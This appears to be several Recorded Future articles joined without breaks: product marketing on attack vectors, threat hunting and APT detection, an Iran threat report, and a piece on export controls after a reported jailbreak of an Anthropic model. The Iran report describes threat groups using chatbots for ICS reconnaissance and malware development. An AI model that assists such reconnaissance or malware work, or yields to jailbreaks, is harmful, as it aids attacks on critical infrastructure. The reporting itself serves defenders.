Generative AI has fundamentally altered the velocity and scale of modern attack vectors. Threat actors now leverage automated LLM orchestrations to generate personalized social engineering campaigns and deepfake audio/video that can easily deceive even well-trained employees. Even as enterprises rush to integrate AI into internal workflows, new vectors like prompt injection and data poisoning have transitioned from theoretical concepts to active threat vectors, allowing adversaries to manipulate LLM outputs and extract proprietary enterprise data.

Why Traditional Security Frameworks Cannot Stop Modern Attack Vectors

Most enterprise security architectures were built for a static world that no longer exists. When confronted with the dynamic vectors of 2026, traditional frameworks break down in two distinct ways:

Static Vulnerability Management

Many security operations centers (SOCs) remain tied to traditional vulnerability management models that prioritize patching based strictly on CVSS scores. This creates a dangerous blindspot. Advanced persistent threats intentionally chain together multiple "low-severity" or "medium-severity" vulnerabilities that, when combined, can grant full administrative access.

Manual asset discovery tools also struggle to keep pace with ephemeral cloud environments, creating visibility gaps that turn unmapped assets into instant attack vectors.

The Outside-In Blindspot

Internal security teams are naturally focused on internal telemetry—pouring over logs inside their SIEM, EDR, and NDR tools. However, this creates a reactive stance. By the time an adversary triggers an EDR alert, the attack vector has already been successfully executed. Internal telemetry is often blind to pre-monetization signals: the registration of typosquatted domains targeting your brand, the sale of corporate credentials on dark web marketplaces, or the collaborative planning occurring in closed adversary forums.

Neutralizing Modern Attack Vectors with Recorded Future

To defeat adversaries who operate at the speed of automation, organizations must shift from a reactive posture to a proactive, intelligence-led defense. Recorded Future provides the external visibility and real-time intelligence required to map, prioritize, and dismantle modern attack vectors before they breach your perimeter.

Cyber Operations: Shifting from Reactive Response to Machine-Speed Defenses

Faced with overwhelming alert fatigue, SOC teams cannot afford to chase every theoretical vulnerability. Recorded Future Cyber Operations acts as the antidote to operational noise. Powered by the Intelligence Graph®, which continuously sifts through millions of global data points, it automatically prioritizes vulnerabilities based on live, real-world exploitation data rather than static CVSS math.

By enriching your existing internal tools (SIEM, EDR, SOAR) via Collective Insights®, Recorded Future injects real-time adversary Tactics, Techniques, and Procedures (TTPs) directly into your workflow, enabling defenders to triage alerts and block active attack vectors at speed.

Digital Risk Protection: Securing the External Attack Surface

You cannot defend against an attack vector you cannot see. Recorded Future Digital Risk Protection provides an outside-in view of your organization, mapping your external attack surface, mirroring how an adversary scans it.

By monitoring open, deep, and dark web sources, it identifies compromised corporate credentials, active typosquatted phishing domains, and source code exposures on public repositories. This visibility allows security teams to take down malicious infrastructure and revoke compromised access before threat actors can convert them into active entry points.

Third-Party Risk: Closing the Vendor Supply Chain Gap

Relying on annual, static security questionnaires to assess vendor risk is the equivalent of checking the weather once a year and assuming it will never rain. Third-Party Risk replaces outdated point-in-time assessments with continuous, automated risk monitoring.

Providing real-time Risk Scores (ranging from 0-99) and mapping complex fourth-party ecosystem dependencies, it alerts your team the moment a vendor within your supply chain shows signs of compromise. This enables you to isolate vulnerable connections long before an upstream vendor breach turns into your downstream crisis.

Payment Fraud: Disrupting Fraud Lifecycles

For financial institutions and e-commerce enterprises, the attack vector of choice often targets transaction infrastructure. Recorded Future Payment Fraud can disrupt the fraud lifecycle by monitoring pre-monetization signals.

By identifying Magecart e-skimmers on digital storefronts, monitoring underground carding forums, and spotting tester merchant activities in real time, Recorded Future allows organizations to fraud-check and block compromised payment cards before fraudulent transactions hit the bottom line.

Proactive Mapping Leads to Resilient Defense

In 2026, understanding your attack vectors can no longer be treated as a check-the-box compliance exercise or a periodic audit. Adversaries are highly dynamic, highly automated, and constantly scouting for the path of least resistance across your digital footprint.

True organizational resilience requires continuous, automated external intelligence. By seeing your enterprise exactly the way the adversary sees it, you can move from a state of constant reaction to one of strategic deterrence.

Don't wait for an alert to tell you your perimeter has been breached. Book a demo with Recorded Future today to gain real-time visibility into your external attack surface and neutralize modern threat vectors before they unfold.

To survive in this environment, modern cyber defense teams must anchor their strategy to a single, non-negotiable rule: Assume you are already breached. Waiting for an automated alert to trigger is a losing strategy. Proactive cyber threat hunting shifts the power dynamic from reactive firefighting to active, aggressive detection. Human analysts alone cannot process the volume and velocity of data required to detect sophisticated adversaries at enterprise scale. To truly master modern threat hunting, security teams should consider enriching internal telemetry with real-time, external threat intelligence.

Understanding threat hunting

At its core, threat hunting is the practice of proactively and iteratively searching networks, endpoints, and cloud environments to detect and isolate advanced threats that evade existing security solutions. It is a human-led, hypothesis-driven discipline—not a purely automated feature of a software suite.

Here is how it differs from other standard security functions:

• Threat Hunting vs. Incident Response
  Incident response is fundamentally reactive; it is the act of extinguishing an active, visible fire after an alert has triggered. Threat hunting is proactive, searching the architecture for hidden threats before they erupt into a catastrophic breach.
• Threat Hunting vs. Penetration Testing
  Penetration testing evaluates perimeter defenses from the outside in, evaluating whether a simulated adversary can breach the network. Threat hunting operates under the explicit assumption that the attacker is already firmly rooted inside, hunting them down from within.
• Threat Hunting vs. Vulnerability Assessments
  Vulnerability management focuses on patching open windows and updating code to prevent future exploitation. Threat hunting assumes an attacker has already gained access and focuses on detecting their lateral movement before damage is done.

What teams need to begin threat hunting

An effective threat hunt cannot begin in a vacuum. Before analysts can root out sophisticated threat actors, organizations must establish a baseline foundation across three core pillars: visibility, integration, and external context.

1. Visibility

Threat hunting requires deep, centralized internal telemetry logs, including:

• Endpoint Event Logs (EDR Data): Process execution trees, registry modifications, and local network connections.
• Network Traffic Analysis (NTA): NetFlow data, DNS queries, and TLS handshake anomalies.
• Identity & Access Management (IAM) Logs: Cross-zone authentication spikes, anomalous MFA prompts, and privilege escalations.

2. Tool integration

Relying on isolated data silos paralyzes analysts. Security teams are recommended to leverage unified SIEM and SOAR integrations to aggregate disparate data sets, normalize log schemas, and eliminate the white noise of benign network activity.

3. External intelligence

Analyzing internal logs without external context is like looking at footprints in the mud without knowing what animal made them. Deep web, dark web, and technical intelligence should be required, providing the exact behavioral profiles, infrastructure layouts, and campaign contexts needed to guide the hunt.

The 3 Core threat hunting methodologies

1. Hypothesis-Driven Hunting

This methodology relies on a baseline understanding of an organization's unique threat profile. Rather than chasing random anomalies, hunters form educated, structured theories based on environmental risk.

For example: "If an advanced persistent threat (APT) targets our specific financial services vertical using a known cloud-storage exploit, do those specific forensic artifacts exist in our environment right now?" Analysts then construct targeted queries to validate or disprove the theory.

2. Intelligence-driven hunting (IOC & TTP mapping)

Tactical and operational intelligence can serve as the blueprint for tracking down precise adversary patterns. By mapping observed threat intelligence—such as malicious IP addresses, command-and-control (C2) domains, newly announced CVEs, and adversary Tactics, Techniques, and Procedures (TTPs)—directly to the MITRE ATT&CK® framework, hunters can systematically search internal logs for identical behavioral signatures.

3. Advanced analytics & AI hunting

This approach uses behavioral profiling and data stacking to isolate structural outliers from massive datasets. By evaluating thousands of similar data points, machine learning models highlight anomalous user or machine actions—such as a standard HR user account suddenly executing administrative command-line scripts or initiating mass data transfers at 3:00 AM.

The Lifecycle of a proactive cyber threat hunt

A successful threat hunt follows a structured, iterative lifecycle. By injecting external threat intelligence into every phase, analysts can transform an ad-hoc search into an accelerated, scalable defensive program.

Step 1: Let intelligence drive your hunt

The hunt begins when an analyst defines a focused area of inquiry based on a structured hypothesis. This initial trigger is driven by real-time threat intelligence regarding an active campaign, an emerging zero-day vulnerability, or a newly discovered infrastructure cluster belonging to a relevant threat actor family.

Step 2: Architect your hunt at scale

Once the hypothesis is set, hunters deploy advanced threat hunting tools to translate technical indicators into sweeping enterprise queries. Analysts architect data-gathering parameters across disparate EDR databases, SIEM platforms, and network traffic monitors to ensure better visibility across the entire enterprise footprint without manual bottlenecking.

Step 3: Activate autonomous threat hunting

Rather than executing one-off, static searches that instantly age out, teams deploy continuous automated playbooks. By integrating real-time intelligence directly into detection engines, cyber threat hunting teams are able to shift from an ad-hoc manual task to a 24/7 autonomous monitoring process that tracks evolving adversary behavior in real time.

Step 4: Review correlated findings

When anomalous activity matches the hunt parameters, analysts evaluate the high-fidelity telemetry alongside external intelligence inputs. If malicious activity is verified, the hunt instantly pivots to incident response for isolation; if the anomaly is benign, the findings are fed back into the security ecosystem to update rules and eliminate future noise.

Step 5: See the impact with AI reporting

The final phase translates complex forensic data into strategic business metrics. By leveraging automated, intelligent reporting, security leaders instantly visualize the hunt’s operational impact—documenting exactly which assets were protected, how dwell time was mitigated, and how defensive postures were permanently hardened against future attack vectors.

Where modern threat hunting can fall short

Executing a continuous, high-yield threat hunting program presents severe operational friction points for modern CISOs and SOC managers:

• The cybersecurity skills shortage: Seasoned threat hunters require a rare blend of data science, digital forensics, and adversary mindset analysis. These professionals are incredibly scarce, highly sought after, and financially burdensome to recruit and retain.
• Alert fatigue and false positives: Analysts spend hours chasing benign data anomalies because legacy threat hunting tools lack external context. Without real-time enrichment, an unusual out-of-hours connection looks identical to a critical C2 beaconing event.
• The time-to-exploit collapse: The window between a vulnerability being announced on the clear web and actively weaponized on the dark web has shrunk to mere hours. Static, ad-hoc hunting schedules often cannot keep pace with this compressed timeline, leaving networks exposed between manual hunts.

Mastering the hunt with Recorded Future

Recorded Future reduces these operational bottlenecks, transforming threat hunting from a resource-draining manual grind into an accelerated, intelligence-led defense mechanism.

The Intelligence Graph®

Recorded Future’s Intelligence Graph® continuously monitors open sources, technical infrastructure, and illicit dark web forums. By analyzing billions of entities in real time, it delivers a live map of global threat actors, emerging malware families, and weaponized vulnerabilities. This gives threat hunters visibility into external shifts before they are able to impact internal networks.

Reducing manual triage

Instead of forcing tier-3 analysts to waste critical hours pivoting across dozens of open-source intelligence (OSINT) browser tabs, Recorded Future delivers instantly actionable context. Internal alerts within your SIEM and EDR are automatically enriched and tagged with real-time threat-actor details, Risk Scores, and mapped TTPs, allowing hunters to identify high-risk anomalies instantly.

Insikt Group® insights

Security teams no longer need to spend days writing complex detection logic from scratch. Recorded Future’s Insikt Group®—an elite team of veteran threat researchers—delivers pre-written, expert-vetted YARA, Snort, and Sigma rules directly into your existing SIEM, SOAR, and EDR environments. This can turn global threat discoveries into immediate, internal defensive barriers.

Cyber Operations: unified intelligence for modern hunters

To truly scale a threat hunting program, security teams need to bridge the gap between external intelligence and internal workflows. Recorded Future Cyber Operations centralizes this process by mapping real-time adversary infrastructure, campaigns, and malware behaviors directly to the MITRE ATT&CK® framework. By delivering instantly deployable hunting packages alongside curated operational context, Cyber Operations can reduce the time it takes for analysts to shift from an external intelligence trigger to an active, internal environment scan.

Autonomous Threat Operations

To solve the persistent challenge of understaffed security teams, Recorded Future delivers Autonomous Threat Operations. By executing continuous hunting, detection, and response workflows autonomously, the Platform constantly scours your environment for complex threats. This elevates your defensive posture 24/7, freeing human analysts to focus on high-level strategic risk management.

The future of threat hunting

Modern threat hunting is no longer about working harder or writing longer queries; it is about hunting smarter. As adversaries exploit automation and compressed execution timelines, security teams should not rely on internal telemetry alone to defend the enterprise. Combining sharp human analyst logic with the most comprehensive threat intelligence platform available is how security teams can transition from reactive defense to proactive, intelligence-led threat hunting at enterprise scale.

Don't let advanced adversaries dictate the timeline of your security operations. Book a demo today to supercharge your threat hunting program and secure your environment from the inside out.

Threat hunting FAQs

What is cyber threat hunting in simple terms?

Cyber threat hunting is the proactive, human-led practice of systematically searching through an organization's networks, endpoints, and data repositories to detect malicious actors or hidden threats that have already bypassed automated perimeter defenses.

What are the common methodologies or triggers for a threat hunt?

Threat hunts generally rely on three types of investigations: hypothesis-driven (triggered by new adversary tactics, techniques, and procedures or TTPs), intelligence-driven (triggered by specific indicators of compromise or IOCs), and analytics-driven (triggered by machine learning detecting structural anomalies in network traffic behavior).

How does threat hunting differ from digital forensics and incident response (DFIR)?

Incident response and digital forensics are inherently reactive—they kick off after a security control fires an alert or a breach is publicly known to contain damage. Threat hunting is aggressively proactive; it assumes a breach has already occurred silently and searches for active adversaries before they trigger an alert.

How does Recorded Future accelerate the threat hunting process?

Threat hunting traditionally requires manual data gathering across disjointed open-source platforms. Recorded Future Cyber Operations can collapse this timeline by automatically mapping external adversary infrastructure, campaigns, and malware behaviors directly to the MITRE ATT&CK framework. It delivers instantly deployable hunting packages alongside pre-written YARA, Snort, and Sigma rules to enable a shift in a hunter’s workflow from manual intelligence gathering to immediate data interrogation.

• Advanced Persistent Threats (APTs) are sophisticated, long-term cyber campaigns conducted by well-funded human adversaries (often nation-states) who target specific organizations for espionage, data theft, or critical infrastructure disruption.
• Traditional security tools often fail because APT groups bypass signature-based defenses by using customized malware and Living-off-the-Land (LotL) tactics that mimic legitimate user activity inside the network.
• Effective advanced persistent threat detection requires minimizing breakout time, the window between initial access and lateral movement, by identifying threats before they establish deep persistence.
• To defeat modern APTs, organizations must move from reactive internal monitoring to proactive threat intelligence, tracking adversary infrastructure on the open, deep, and dark web before an attack is launched.

Modern organizations face highly resourceful, patient, and deeply calculated adversaries. This shift has ushered in an era of coordinated operations where elite threat actors don't just compromise a system and leave, but may spend weeks or months quietly surveying networks, mapping architecture, and identifying high-value targets.

These operations are the hallmark of an advanced persistent threat (APT). Traditional cybersecurity frameworks have long relied on perimeter defenses designed to catch malicious activity at the gates. However, once an APT group breaches a network, they often intentionally manipulate native administrative tools and harvest legitimate credentials to blend into daily business traffic.

To better confront an adversary that behaves like an insider, organizations must shift their perspective outward, leveraging real-time, external threat intelligence to identify and intercept cyber threats before they can establish a permanent foothold.

What is an Advanced Persistent Threat (APT)?

An APT is a sophisticated, prolonged cyber campaign executed by a highly organized group with specific, long-term objectives. Breaking down the acronym highlights the unique nature of these threats:

• Advanced: APT actors do not rely on off-the-shelf exploits. They frequently utilize customized malware, discover and weaponize zero-day vulnerabilities, and practice meticulous operational security (OpSec) to deliberately evade modern security controls.
• Persistent: Unlike cybercriminals who encrypt a server and immediately demand a ransom, APTs utilize a "low-and-slow" methodology. They prioritize stealth over speed, regularly remaining inside an environment for months to achieve strategic goals such as espionage, intellectual property theft, or the long-term disruption of critical infrastructure.
• Threat: Behind every APT is a well-funded organizational structure. These are not lone hackers; they are highly structured syndicates and state-sponsored units—such as the Lazarus Group or APT41—backed by massive financial and geopolitical resources.

The multi-stage APT attack lifecycle

Generally, APT groups do not operate at random. They follow a rigorous, multi-stage lifecycle. For defenders, understanding this timeline is critical to shrinking “breakout time"—the vital window between the initial compromise and the moment the attacker begins moving through the network.

1. Reconnaissance and planning

Before a single line of malicious code is deployed, attackers gather open-source intelligence (OSINT), scan exposed internet-facing infrastructure, and map out the target’s digital footprint to find weak points.

2. Initial infiltration

Attackers typically gain entry via hyper-targeted spear-phishing or social engineering campaigns, credential stuffing, or complex supply chain compromises, often bypassing standard authentication checks.

3. Establishing footholds

Once inside, actors deploy stealthy backdoors and obfuscated rootkits. This ensures that even if security teams discover and close the primary entry vector, the attackers maintain alternative entry routes.

4. Lateral movement and escalation

Adversaries navigate from system to system, harvesting administrative credentials and mapping Active Directory trust boundaries to compromise the enterprise network.

5. Data exfiltration or disruption

The group gathers, stages, and quietly extracts sensitive data using encrypted command-and-control (C2) channels. In some cases, they may deploy ransomware or execute a DDoS attack as a distraction to cover their tracks.

Why traditional advanced persistent threat detection isn’t enough

For Cyber Threat Intelligence (CTI) teams, threat hunters, and SOC managers, keeping pace with APTs using legacy tools is an uphill battle. Traditional detection tools and processes consistently fail against advanced actors for several reasons:

• Signature-Based Defenses: Legacy firewalls and traditional antivirus rely on known file hashes. Because APT groups write custom code and heavily leverage Living-off-the-Land (LotL) tactics using native administrative tools, they can leave no traditional signatures behind.
• Dwell Time: Internal log correlation through SIEM and EDR platforms is inherently reactive. If your team is only looking at alerts generated inside your perimeter, the attacker may have already achieved a foothold and begun their mission.
• Alert Fatigue and Data Silos: SOC teams are often drowning in a sea of disconnected internal alerts. Without external context, it is nearly impossible to distinguish a routine network anomaly from an APT group spinning up a new unclassified C2 server.
• Fragmented Vendor Taxonomies: Tracking adversaries across the industry is notoriously confusing. One threat group might be designated by a weather pattern by one vendor, an animal by another, or a random number by a third, complicating cross-team collaboration and intelligence sharing.

Shifting from reactive defense to real-time intelligence

To better counter advanced persistent threats, organizations must meet bad actors earlier in the attack lifecycle. This means disrupting the adversary during their reconnaissance and infrastructure-staging phases, long before they ever execute an exploit on an internal endpoint.
Real-time threat intelligence in the context of APTs means continuously harvesting, analyzing, and structuring data from across the open, deep, and dark web to monitor attackers as they build their technical infrastructure.

By tracking newly registered domains, malicious IP allocations, and discussions on illicit forums, defenders can identify a threat actor's setup phase. Mapping these observations to the MITRE ATT&CK® framework allows security teams to decode the specific Tactics, Techniques, and Procedures (TTPs) of an adversary, enabling them to anticipate and block the attacker's next move.

Mastering APT detection with Recorded Future

Recorded Future equips threat hunters and CTI analysts with the visibility needed to track advanced persistent threats across every stage of the attack lifecycle. By centralizing automated collection and elite human analysis, Recorded Future converts massive volumes of public and dark web data into actionable, proactive defense.

The Intelligence Graph®

The Recorded Future Intelligence Graph® automatically maps, links, and updates relationships between billions of entities—including IPs, domains, malware strains, and threat groups—across massive global datasets in real time, giving defenders an unparalleled view of adversary infrastructure.

Third-Party Risk

Sophisticated threat actors frequently target weak links in an enterprise ecosystem. With Third-Party Risk, organizations gain real-time visibility into the security postures of their vendors, contractors, and partners, cutting off supply-chain entry vectors.

Insikt Group®

Recorded Future’s elite network of threat researchers, the Insikt Group, acts as an extension of your security team, providing the latest geopolitical intelligence. They deliver pre-vetted, highly contextual information and actionable hunting rules (including YARA, Sigma, and Snort) directly into the Platform, allowing security teams to rapidly deploy defenses against emerging state-sponsored campaigns.

Recorded Future AI

Generative AI capabilities reduce Mean Time to Respond (MTTR). Analysts can use natural language to query complex APT behaviors, instantly surface connection points, and generate comprehensive, shareable intelligence briefs in seconds, streamlining leadership communications during critical events.

Staying one step ahead of cyber threats

Advanced persistent threats win when they remain hidden in the noise of a network. True detection requires looking beyond internal firewalls and endpoints, demanding visibility into the external environments where adversaries plan, build, and launch their operations.

In the face of highly organized, nation-state-backed syndicates, speed and visibility are the ultimate metrics of success. By shifting from a reactive internal posture to a proactive, real-time intelligence strategy, organizations can illuminate adversary infrastructure, disrupt the attack lifecycle, and secure their digital perimeter against even the most patient and well-resourced threat actors.

Want to see how real-time intelligence can transform your threat hunting capabilities? Book a demo with Recorded Future today.

FAQs

What is the primary objective of an advanced persistent threat (APT) group?

Unlike typical cybercriminals who seek immediate financial payouts through rapid encryption or ransomware, the primary objective of an APT group is usually long-term cyber espionage. Backed by nation-states or heavily funded syndicates, these actors aim to establish an undetected, prolonged presence within a target network to quietly steal intellectual property, harvest state secrets, or maintain access to critical infrastructure for future geopolitical leverage.

Why is advanced persistent threat detection so difficult for traditional security tools?

Traditional security tools rely heavily on static signatures—meaning they look for known, previously identified file hashes or malicious code patterns. APT actors easily bypass these defenses by writing customized malware, exploiting zero-day vulnerabilities, and using "Living-off-the-Land" (LotL) tactics that abuse legitimate system administration tools already built into your network. Because their activity mimics normal administrative tasks, they go unnoticed by internal firewalls.

What is "breakout time," and why does it matter in tracking APTs?

Breakout time is the critical window between an adversary's initial compromise of a single machine and their ability to move laterally to other systems on the network. For elite APT groups, this window can be incredibly tight. Tracking threat actor infrastructure in real time allows security teams to recognize the initial entry vector immediately and stop the actor before they can escalate privileges or move beyond the original target endpoint.

How does generative AI improve advanced persistent threat detection?

When a sophisticated attack is underway, speed is everything. AI capabilities allow security teams to instantly analyze, synthesize, and summarize vast amounts of complex threat data. Instead of spending hours manually combing through forensic logs and disparate threat intel feeds, analysts can use natural language queries to instantly understand an APT group's current TTPs, lowering the Mean Time to Respond (MTTR) from hours to seconds.

Between January and June 2026, Tehran survived unprecedented military, economic, and political pressure by relying on its longstanding hybrid warfare model: blending asymmetric military operations, cyber operations, information warfare, proxy attacks, and coercive state control. Artificial intelligence (AI) enhanced these capabilities, acting as a force multiplier and almost certainly increasing the speed, scale, and effectiveness of Iranian operations. Ultimately, Iran demonstrated that its strategic resilience does not depend on possessing the most advanced AI capabilities; rather, the source of Iranian power remains the asymmetric playbook itself.

During these crises, Iran compensated for conventional military and economic disadvantages through scalable, low-cost, and deniable asymmetric capabilities. Iran’s use of AI almost certainly improved its cyber capabilities, accelerated the production of propaganda and influence narratives, and expanded the reach of information campaigns. AI’s impact on Iranian military operations is less clear, as Iran’s battlefield use of AI has not been independently confirmed. However, the support Russia provided to Iranian military operations increases the likelihood that AI-enabled tactics and capabilities, refined in Ukraine, contributed to Iranian drone attacks against Israel and Persian Gulf states. Domestically, AI-driven surveillance systems deployed during and after the 2022 “Woman, Life, Freedom” protests likely facilitated the Iranian regime’s violent suppression of unrest in January 2026.

As low-level conflict persists and the risk of a return to war with the United States (US) and Israel remains heightened, Iran’s expanding use of AI-enabled cyber operations will likely pose an elevated threat to Western and regional critical infrastructure and vital industries. Iran’s rapid production and dissemination of AI-generated propaganda expose corporate and state entities to highly targeted influence operations (IOs), risking erosion of customer and citizen trust. As Iran rebuilds its military arsenal, its acquisition of Russian-backed drone capabilities will pose an ongoing risk to critical infrastructure and maritime logistics in the region. Across all sectors, Iran’s hybrid warfare capabilities will likely continue to pose a risk to digital and physical assets, requiring organizations to build resilience against AI-enhanced asymmetric threats that are more scalable and harder to attribute.

Key Findings

• In 2026, AI technologies very likely accelerated existing Iranian capabilities across cyber, influence, military, and domestic repression domains, rather than creating new ones.
• AI’s clearest strategic impact for Iran has been in its information warfare, as AI content generation enables Iran to shape perceptions of the conflict by rapidly producing widely resonant propaganda and influence content.
• Iran’s AI advances appear tied to foreign partnerships — Russian military AI and drone innovations, as well as Russian and Chinese surveillance technologies; Tehran will likely seek to incorporate these foreign AI innovations into its established playbook.
• Organizations and governments should strengthen defenses against AI-enhanced Iranian tradecraft — including AI-assisted phishing, cyber intrusions targeting operational technology, and IO campaigns — while ensuring resilience against combined cyber and physical disruption efforts.
• Post-conflict, Iran is likely to prioritize rebuilding the missile, drone, and maritime capabilities that underpin its asymmetric deterrence model while integrating AI, where possible, to improve efficiency and effectiveness.

Following a directive issued by former Supreme Leader Ali Khamenei in 2021, Iran pursued a centralized national AI strategy intended to expand domestic research and development, reduce technological dependence on foreign actors, and position the country as a regional technological power. However, Tehran’s AI ambitions have faced severe economic constraints and technological limitations as a result of sanctions and isolation.

Background

Between the 2021 directive and the 2026 conflicts, Tehran prioritized developing AI for use in cyber operations, influence campaigns, intelligence and military systems, and domestic repression. Iranian threat actors incorporated generative AI and large language models (LLMs) into spearphishing, social engineering, and online IOs, while Iranian officials publicly emphasized AI-enabled drone, missile, and intelligence capabilities. More broadly, Iran appears to view AI not only as an economic and technological imperative, but also as a tool for preserving regime security and offsetting the strategic constraints imposed by its international isolation.

AI Enhancing Iran’s Asymmetric Capabilities

Insikt Group analyzed cybersecurity and AI threat reports, social media, Iranian state-run messaging and government/military statements, and activist investigations to illuminate Iran’s AI use, or lack thereof, during 2026. While Iran’s unprecedented internet blackouts create significant gaps in open-source understanding of Iran’s AI capabilities during domestic crises and wartime, one theme is clear: AI has almost certainly enhanced Iran’s asymmetric tactics and hybrid warfare doctrine, but has not fundamentally altered the strategic logic underpinning Iran’s approach to the conflict.

Cyber Operations

Iran’s use of AI to support the cyber dimension of its conflict with the US and Israel predates the January 2026 protest crackdown and the February 28, 2026, coordinated US-Israeli airstrikes, known as Operation Epic Fury / Roaring Lion. The 2026 crises likely prompted Iranian state-sponsored and state-aligned threat actors to leverage generative AI to gain productivity and tradecraft improvements across reconnaissance, code/malware development, social engineering, and translation. However, AI has not fundamentally shifted Iranian cyber capability. Iran's 2026 campaign has remained anchored in the same baseline TTPs — including spearphishing, wiper malware, credential theft, abuse of legitimate enterprise tooling, and hack-and-leak operations — that pre-date the AI era. The pattern is consistent with what Google, OpenAI, and other AI developers have documented since 2024: AI accelerates and scales what Iranian actors were already doing, rather than enabling new capabilities.

Reconnaissance and Operational Research

In October 2024, OpenAI reported that Iran-linked hacktivist persona “CyberAv3ngers” used ChatGPT to conduct reconnaissance on programmable logic controllers (PLCs), a use case that has continued to bolster Iranian capabilities against industrial control systems (ICS) during 2026. According to CloudSEK, AI is accelerating the research phase in ICS attacks: “An actor can move from intent to a list of accessible US ICS devices with known default credentials in under five minutes.” CloudSEK researchers recreated CyberAv3ngers's research on vulnerable US-based ICS systems in an unspecified AI LLM agent and identified an additional exposed ICS portal, highlighting a critical infrastructure “playbook that other groups can now replicate much more easily with the help of AI.” Using this research playbook, Iranian threat actors can not only identify vulnerable ICS systems but also understand the unique properties of the specific technologies they are targeting.

In May 2026, an attack attributed to “Cyber Isnaad Front” targeted an Israeli industrial refrigeration system, sabotaging the system by programming it to fail. While there is no direct evidence of AI use in this incident, the attack required expertise in both Windows internal coding and refrigerant physics to ensure maximum damage, suggesting in-depth research into the target system. The targeting selection demonstrates that Islamic Revolutionary Guard Corps (IRGC)-backed cyber personas are concentrated on identifying vulnerabilities in adversaries’ supply chains, logistics, industrial operations, and food production. By facilitating research, AI lowers the level of expertise required to target ICS systems across multiple critical industries.

Code Writing and Malware Development

Iranian-linked threat actor groups also use AI to accelerate their malware development capabilities. In February 2026, Google’s GTIG AI Threat Tracker reported that GreenBravo (also known as APT42, Charming Kitten, Mint Sandstorm) has been using Gemini “as an engineering platform to accelerate the development of specialized malicious tools,” including for debugging, code generation, and researching exploitation techniques. Another example is Operation Olalampo, first observed on January 26, 2026, and attributed to GreenGolf (also known as MuddyWater, Mango Sandstorm) in a Group-IB report. The campaign delivered four novel malware families (CHAR, GhostFetch, GhostBackDoor, HTTP_VIP) against MENA targets via spearphishing. Group-IB’s analysis of the Rust-based CHAR backdoor identified debug strings containing emojis — “a trait rarely seen in human-authored code” — across four separate instances. Group-IB assessed that the emojis indicate the operator used an AI model to generate code segments and failed to sanitize debug strings before compilation. Group-IB explicitly tied this to Google's earlier reporting that MuddyWater was already experimenting with Gemini for file transfer and remote execution code.

Figure 1: Emojis used in CHAR malware suggest AI use (Source: Group-IB)

The Saga of the Fable Export Controls

Because the US is home to most of the companies building leading models, US AI policy has an outsized impact on global access. The Trump administration’s public posture on AI has largely favored accelerating the frontier. Proponents of this approach argue that the US must stay ahead of other nations in AI development because whoever leads in AI will shape the next era of economic, military, and technological power.

But when Anthropic released Fable on June 9, 2026, US AI policy suddenly became much more restrictive.

Fable (technically known as Claude Fable 5) was presented as the user-safe version of Mythos Preview, a limited-release frontier model with advanced cybersecurity capabilities, including red teaming, vulnerability discovery, and offensive security reasoning. Anthropic argued that Fable’s guardrails made those capabilities safe for broader use. The White House disagreed, asserting that Fable contained a critical vulnerability that Anthropic refused to patch.

The dispute ended with an extraordinary outcome: export controls prohibiting non-US citizens from using the model, including Anthropic employees. Unable to segment users by citizenship, Anthropic responded by pulling access entirely.

Anthropic argued that the reported jailbreak did not enable Fable to do anything meaningfully more dangerous than what less sophisticated models could already do. Nevertheless, it reported that it blocked the jailbreak, which it cautioned would block some benign requests. This apparently satisfied the safety concerns of the White House, which lifted the export controls on June 30, and Anthropic restored access to both Fable and Mythos the following day. Uncertainties remain, however, as to why the export controls were imposed in the first place and when access might be restricted next.

The imposition of export controls on Fable sets a precedent for similar actions on future advanced models, such as OpenAI’s GPT-5.6. The lack of a clear message on what made the Fable jailbreak warrant export controls introduces significant regulatory uncertainty for both AI developers and organizations incorporating frontier AI models into their enterprise.

Possible Motives Behind US Policy

Given the lack of details, it’s worth considering two alternative explanations that may be driving the US government’s decision-making, beyond what’s been publicly stated.

The first is political. The US government has had an uneasy relationship with Anthropic’s leadership and safety-forward approach. Under this view, export controls are not the signal of a broader policy shift. Instead, they are intended to send a more immediate message to the AI industry: private-sector pushback on government priorities will not be tolerated (whatever those priorities happen to be at the moment).

If the export controls are motivated by politics, it means AI regulations are likely to remain unpredictable — and can be reversed at any time.

The second is strategic. Anthropic itself has warned that foreign actors may try to use frontier model outputs to reverse-engineer or distill advanced systems. Distillation threatens the US model advantage by allowing competitors to reproduce elements of frontier performance without bearing the full cost of large language model (LLM) training. According to one source, the White House suspected that a “China-linked group” had already gained access to Mythos Preview, potentially enabling the group to replicate its capabilities. If this characterization is accurate, the export controls on the model itself are an extension of well-established export controls on advanced computing chips imposed to prevent adversaries from gaining the computing power necessary to build advanced models.

The strategic explanation represents a fundamental shift in how AI is governed in the US. The model itself — not just the physical hardware behind it — is now being treated as controlled technology. However, not knowing why export control decisions are made makes the strategic motivation as unhelpful for predicting future actions as the political one.

The Definition of “Dangerous AI” Is Still Unclear

One element adding to the uncertainty is that the export controls on Fable were implemented outside of existing frameworks for assessing the risks posed by AI.

This is not because a suitable framework doesn’t exist: governments, standards bodies, and think tanks have developed frameworks for characterizing AI risk. But in the Fable case, the US government did not publicly point to a clear threshold for what makes Fable riskier than other comparably available frontier LLMs.

That matters because all LLMs can support malicious cyber operations in some form. Threat actors use continuously evolving jailbreaking techniques to disable or bypass safety controls to achieve a prohibited response. Google, OpenAI, and Anthropic regularly release reports documenting how threat actors have manipulated their models to carry out cyberattacks. Even less sophisticated, non-frontier models can be effective tools in the right environment and with enough computing power. Much like exploitable code vulnerabilities in traditional software, the underlying mechanics of LLMs make it very unlikely that defenders will ever find a permanent solution for jailbreaking.

So what is it about Fable that requires the US government to restrict its use? What made the reported jailbreak so serious that it demanded regulatory action? Will the next generation of Gemini or ChatGPT require similar restrictions? What about open-weight models, like China’s recently released GLM-5.2, that can be run without centralized monitoring of how they’re used?

Without a clear explanation of what separates acceptable from unacceptable risk for AI, regulation becomes reactive. For companies, that uncertainty makes it extremely difficult to adopt or integrate frontier AI models into critical systems.

Ad Hoc Regulation May Become the Norm

The most likely outcome for the US government, at least in the near-term, is that the voluntary model reviews described in the executive order will become de facto mandates. This has already happened with OpenAI’s latest model, which was initially voluntarily limited at the White House's request. Anthropic, Google, and OpenAI are likely to continue coordinating closely with the government to avoid future surprise export-control announcements on their latest models.

